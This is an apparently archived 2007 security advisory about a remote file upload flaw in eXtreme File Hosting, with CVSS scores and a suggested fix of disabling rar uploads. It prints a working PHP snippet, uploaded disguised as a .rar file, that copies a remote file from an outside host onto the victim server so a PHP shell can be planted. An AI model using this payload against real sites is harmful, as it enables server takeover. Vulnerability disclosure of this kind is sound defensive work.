eXtreme File Hosting remote file upload vulnerability

2007.02.13
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

A security bug have been discovered in eXtreme File Hosting, which can be upload the attaker files and can get the shell with phpshell. bug : in this borgram with php can user upload zip or rar file hacker can upload the a.php.rar file that contain ########################### <?php $file = 'http://sample.com/evile_file.php'; $newfile = 'evile_file.php'; if (!copy($file, $newfile)) { echo "failed to copy $file...n"; }else{ echo "OK file copy in victim host"; } ?> ########################### and upload it the click in download link then this file run and dont download after run a.php.rar the evile_file.php copy in victim host and attacker can use for hacking server. Solution: disable rar file uploading in setting Underlying OS: Linux (Any), UNIX (Any), Windows (Any) software: eXtreme File Hosting site: http://www.extremepow.com Reported By: : hamed bazargani (hamed.bazargani (at) gmail (dot) com [email concealed]) From I.R.IRAN and all iranian whitehat hacker


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